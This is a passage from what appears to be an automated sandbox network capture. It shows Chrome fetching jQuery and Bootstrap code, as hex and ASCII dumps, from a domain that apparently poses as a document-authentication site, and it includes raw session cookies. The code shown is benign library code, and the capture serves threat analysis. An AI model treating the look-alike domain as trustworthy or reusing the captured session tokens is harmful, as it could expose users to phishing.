2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 21 6e 2e 69 73 41 72 72 61 79 28 61 29 26 26 62 2d 70 61 72 73 65 46 6c 6f 61 74 28 62 29 2b 31 3e 3d 30 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 6e 2e 74 79 70 65 28 61 29 7c 7c 61 2e 6e 6f 64 65 54 79 70 65 7c 7c 6e 2e 69 73 57 69 6e 64 6f 77 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 6b 2e 63 61 6c 6c 28 61 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 21 6b 2e 63 61 6c 6c 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 7b 7d 2c 22 69 73 50 72 Data Ascii: :function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)\|\|a.nodeType\|\|n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype\|\|{},"isPr
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 66 5d 2c 66 29 2c 64 21 3d 3d 68 26 26 65 2e 70 75 73 68 28 61 5b 66 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 2c 67 3d 30 2c 68 3d 5b 5d 3b 69 66 28 73 28 61 29 29 66 6f 72 28 64 3d 61 2e 6c 65 6e 67 74 68 3b 64 3e 67 3b 67 2b 2b 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 66 6f 72 28 67 20 69 6e 20 61 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 72 65 74 75 72 6e 20 66 2e 61 70 70 6c 79 28 5b 5d 2c 68 29 7d 2c 67 75 69 64 3a 31 2c 70 72 6f 78 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 66 3b 72 65 74 75 72 6e 22 73 74 72 Data Ascii: f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"str
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 4d 2b 22 29 29 7c 29 22 2b 4c 2b 22 2a 5c 5c 5d 22 2c 4f 3d 22 3a 28 22 2b 4d 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 4e 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 50 3d 6e 65 77 20 52 65 67 45 78 70 28 4c 2b 22 2b 22 2c 22 67 22 29 2c 51 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4c 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c Data Ascii: (?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+M+"))\|)"+L+"\\]",O=":("+M+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+N+"))\|.*)\$\|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+\|((?:^\|[^\\\\])(?:\\\
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 2e 61 70 70 6c 79 28 61 2c 49 2e 63 61 6c 6c 28 62 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 30 3b 77 68 69 6c 65 28 61 5b 63 2b 2b 5d 3d 62 5b 64 2b 2b 5d 29 3b 61 2e 6c 65 6e 67 74 68 3d 63 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 2c 64 2c 65 29 7b 76 61 72 20 66 2c 68 2c 6a 2c 6b 2c 6c 2c 6f 2c 72 2c 73 2c 77 3d 62 26 26 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 78 3d 62 3f 62 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 64 3d 64 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 7c 7c 31 21 3d 3d 78 26 26 39 21 3d 3d 78 26 26 31 31 21 3d 3d 78 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 Data Ascii: .apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d\|\|[],"string"!=typeof a\|\|!a\|\|1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDoc
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 20 6a 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 73 70 6c 69 74 28 22 7c 22 29 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 65 2d 2d 29 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 63 5b 65 5d 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 26 26 61 2c 64 3d 63 26 26 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 26 26 28 7e 62 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 2d 28 7e 61 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 3b 69 66 28 64 29 72 65 74 75 72 6e 20 64 3b 69 66 28 63 29 77 68 69 6c 65 28 63 3d 63 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 63 3d 3d 3d 62 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 61 3f 31 3a 2d 31 7d 66 Data Ascii: nction ja(a,b){var c=a.split("\|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex\|\|C)-(~a.sourceIndex\|\|C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}f
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 43 68 69 6c 64 28 61 29 2e 69 64 3d 75 2c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 72 65 74 75 72 6e 20 63 3f 5b 63 5d 3a 5b 5d 7d 7d 2c 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 Data Ascii: Child(a).id=u,!n.getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 7d 29 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4c 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 61 2e 71 75 Data Ascii: a.querySelectorAll("a#"+u+"+").length\|\|q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"[*^$\|!~]?="),a.qu
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 4a 28 6b 2c 61 29 2d 4a 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6b 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e 73 68 69 66 74 28 63 29 3b 63 3d 62 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 68 2e 75 6e 73 68 69 66 74 28 63 29 3b 77 68 69 6c 65 28 67 5b 64 5d 3d 3d 3d 68 5b 64 5d 29 64 2b 2b 3b 72 65 74 75 72 6e 20 64 3f 6b 61 28 67 5b 64 5d 2c 68 5b 64 Data Ascii: var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49796	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:13 UTC	898	OUT	GET /boot/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6335 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:13 UTC	681	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:13 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GoUsebKLEX6G2t7Q8%2FCPnDoQHL28HTnSZTG09N7XtSRQNmYwTIIHt%2BkBpknq2qINlYhwITPH9aTadTMq8nNYp296GkLof6%2FxuxInuaNON8GXyd8vU3FCepBriMElnAJyRaWo4paIVOciXiuCUxA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1309aae4526-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:13 UTC	688	IN	Data Raw: 37 64 30 37 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7d07/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 6e 20 73 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 26 26 69 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 65 29 2c 6e 26 26 69 28 74 2c 6e 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 6f 29 2e 66 69 6c 74 Data Ascii: n s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filt
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 3b 29 3b 72 65 74 75 72 6e 20 74 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 65 26 26 22 23 22 21 3d 3d 65 7c 7c 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 Data Ascii: th.random()),document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e\|\|(e=t.getAttribute("href")\|\|"");try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationF
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 69 73 2e 5f 65 6c 65 6d 65 6e 74 3b 74 26 26 28 65 3d 74 68 69 73 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 28 74 29 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 28 65 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6f 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 3d 21 Data Ascii: is._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()\|\|this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=Fn.getSelectorFromElement(t),n=!
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 3d 22 69 6e 70 75 74 22 2c 77 3d 22 2e 61 63 74 69 76 65 22 2c 4e 3d 22 2e 62 74 6e 22 2c 4f 3d 7b 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 79 2b 45 2c 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 3a 28 53 3d 22 66 6f 63 75 73 22 29 2b 79 2b 45 2b 22 20 62 6c 75 72 22 2b 79 2b 45 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 30 2c 65 3d 21 30 2c 6e 3d 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 73 74 28 41 29 5b 30 5d 3b 69 66 28 6e 29 7b 76 61 72 20 69 Data Ascii: ="input",w=".active",N=".btn",O={CLICK_DATA_API:"click"+y+E,FOCUS_BLUR_DATA_API:(S="focus")+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(A)[0];if(n){var i
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 2c 6d 2e 66 6e 5b 70 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 2e 66 6e 5b 70 5d 3d 43 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6b 29 2c 51 6e 3d 28 6a 3d 22 63 61 72 6f 75 73 65 6c 22 2c 4c 3d 22 2e 22 2b 28 48 3d 22 62 73 2e 63 61 72 6f 75 73 65 6c 22 29 2c 52 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 78 3d 28 50 3d 65 29 2e 66 6e 5b 6a 5d 2c 57 3d 7b 69 6e 74 65 72 76 61 6c 3a 35 65 33 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 73 6c 69 64 65 3a 21 31 2c 70 61 75 73 65 3a 22 68 6f 76 65 72 22 2c 77 72 61 70 3a 21 30 7d 2c 55 3d 7b 69 6e 74 65 72 76 61 6c 3a 22 28 6e 75 6d 62 65 72 7c 62 6f 6f 6c 65 61 6e 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 73 6c 69 64 65 Data Ascii: ,m.fn[p].noConflict=function(){return m.fn[p]=C,k._jQueryInterface},k),Qn=(j="carousel",L="."+(H="bs.carousel"),R=".data-api",x=(P=e).fn[j],W={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},U={interval:"(number\|boolean)",keyboard:"boolean",slide
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 46 29 7d 2c 74 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 30 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 74 29 26 26 28 46 6e 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 74 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 Data Ascii: ion(){this._isSliding\|\|this._slide(F)},t.pause=function(t){t\|\|(this._isPaused=!0),this._element.querySelector(et)&&(Fn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t\|\|(this._isP
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 7d 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 4c 45 41 56 45 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 54 4f 55 43 48 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 61 75 73 65 28 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f Data Ascii: }).on(Q.MOUSELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 58 29 2c 61 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 73 29 2c 6c 3d 65 7c 7c 73 26 26 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 28 74 2c 73 29 2c 63 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 6c 29 2c 68 3d 42 6f 6f 6c 65 61 6e 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 3b 69 66 28 74 3d 3d 3d 71 3f 28 6e 3d 4a 2c 69 3d 5a 2c 72 3d 4b 29 3a 28 6e 3d 7a 2c 69 3d 47 2c 72 3d 4d 29 2c 6c 26 26 50 28 6c 29 2e 68 61 73 43 6c 61 73 73 28 56 29 29 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 3b 65 6c 73 65 20 69 66 28 21 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 6c 2c 72 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 73 26 26 6c Data Ascii: X),a=this._getItemIndex(s),l=e\|\|s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(t===q?(n=J,i=Z,r=K):(n=z,i=G,r=M),l&&P(l).hasClass(V))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 7b 7d 2c 50 28 6e 29 2e 64 61 74 61 28 29 2c 50 28 74 68 69 73 29 2e 64 61 74 61 28 29 29 2c 72 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 22 29 3b 72 26 26 28 69 2e 69 6e 74 65 72 76 61 6c 3d 21 31 29 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 50 28 6e 29 2c 69 29 2c 72 26 26 50 28 6e 29 2e 64 61 74 61 28 48 29 2e 74 6f 28 72 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 7d 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 